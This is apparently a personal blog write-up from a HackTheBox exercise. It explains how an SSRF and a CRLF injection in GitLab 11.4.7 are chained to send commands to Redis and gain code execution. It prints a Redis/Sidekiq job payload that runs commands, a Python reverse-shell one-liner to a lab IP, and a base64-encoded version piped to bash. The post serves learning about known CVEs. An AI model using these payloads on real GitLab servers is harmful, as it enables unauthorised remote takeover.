Learning about Web Vulnerabilities - The case of Gitlab 11.4.7 RCE

Foreword

While trying to own a HackTheBox machine I encountered a Gitlab service version 11.4.7: it's a pretty old version that has some vulnerabilities and a public RCE exploit that's two years old.

So nothing new here, however, with the spirit of learning a new thing instead of just running someone else code, I tried to understand and exploit the vulnerabilities manually with the help of other writeups/video, like the video and article by Liveoverfow.

The vulnerabilities

In November 2018 two vulnerabilities were fixed in Gitlab version 11.4.8 (https://gitlab.com/gitlab-org/gitlab-foss/-/commits/v11.4.8).

Looking at the patch content we can see two interesting ones:

  • CVE-2018-19571: an SSRF vulnerability in project integration (commit ecbdef09)
  • CVE-2018-19585: a CRLF Injection in UrlValidator (commit 70f35e4f)


We can use a docker image or install manually. 

For simplicity I used the gitlab community edition docker image: it comes with a default Redis instance listening on port tcp/6379 (this will be important as a step towards the exploitation)


SSRF Vulnerability

SSRF means Server-Side Request Forgery and basically means that a software with such a vulnerability gives the attacker a way to reach other systems by putting a forged URL somewhere in the application.

This is usually not critical but it can be chained with other vulnerabilities to have a bigger impact.

So it's typical to see some kind of URL validation in the applications that blocks connections to localhost looking for services not publicly available (i.e. database backends and similar) 

Looking at the fix in version gitlab v11.4.8 it is clear that version 11.4.7 validates and blocks connection to http://127.0.0.1 but it doesn't check connection using IPv6 address http://[0:0:0:0:0:ffff:127.0.0.1]


There is also a feature of Gitlab that can be used to open URL: a new project can be created by importing an existing project supplying its repo URL. 

This feature performs a GET request to an URL that an authenticated users can control.


The interesting thing to do here is to check if the SSRF via IPv6 works.
First step is to open a netcat listener on localhost (if gitlab was installed inside docker, netcast should be executed inside the docker container).


Then try using an IPv4 with the URL http://127.0.0.1:4444/test/repo.git


The IPv4 URL is blocked by the



SSRF is working: Netcat shows an HTTP GET request:


Now, what local services can be contacted with this SSRF?

Well, Gitlab standard installation uses a default Redis instance running on localhost interface and port tcp/6379.

Redis is a popular key-pair database system that is known to the security community because its default installation is quite unsecure and it can be abused to get Remote Code Execution.

Before digging into further exploitation, it's useful to connect to Redis with netcat and paste the previous HTTP request done by the SSRF request:



Unfortunately Redis drops the connection after receiving the line beginning with "Host:"

Redis team, knowing that SSRF can be used to wreck havoc, inserted a check that drops the connection whenever a line "Host:" is detected
We have to get past this check and send additional commands to Redis in some ways and the CRLF injection comes to help.

CRLF Injection Vulnerability

CRLF stands for "Carriage-return Line-feed": in this kind of vulnerability, the sequence of CRLF characters can be used to split a forged input in more lines and potentially used to inject unexpected content.

A CRLF vulnerability, like SSRF, is not critical per-se, but in this case it can be used to split into multiple lines the forged URL request proveded in the SSRF before the line beginning with "Host:" 

Due to missing input validation, we can use CRLF to split the "GET " line of the SSRF into more lines that Redis will accept as single commands before reaching the "Host:" line

To trigger the CRLF we have to use Burp to change the standard request of SSRF.

This is the request of SSRF done in the browser

Below the Burp intercepted requested that can be sent to the Burp Repeater module

In the repeater module we can change the SSRF request inside the red box into more lines.
In case there is already a project with the same name (i.e. repeated request) we have to change the project name



Unfortunately it doesn't work, but the import feature also support git://  URLs:

In this case it works and we see that the SSRF request is split into more lines


We can copy and paste into Redis to see the effect:


Now that we are able to send commands to Redis via the SSRF+CRLF we have to find a way to execute code in Redis

Luckily, Jobert from HackerOne found a command sequence in Redis that uses Sidekiq to execute a job in gitlab (https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41293)

We only have to use the sequence 

 multi

 sadd resque:gitlab:queues system_hook_push
 
 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|our_command \').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
 
 exec
Please note that all lines must start with a space character:


The above request executes the command "touch /tmp/a"  with the following result:

So it's possible to execute remote commands
The final step is to craft a payload for reverse shell.
Due to possible encoding issues we can use the classic python reverse shell (python3 should be included in the gitlab docker image) in an encoded version.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.78",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

This is to be encoded in base64 and then the command to be execute by gitlab should be:

echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE2Ljc4Iiw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiL2Jpbi9iYXNoIiknCg== | base64 -d | bash



And we should get our reverse shell on port 4444:





No comments:

Post a Comment

Note: Only a member of this blog may post a comment.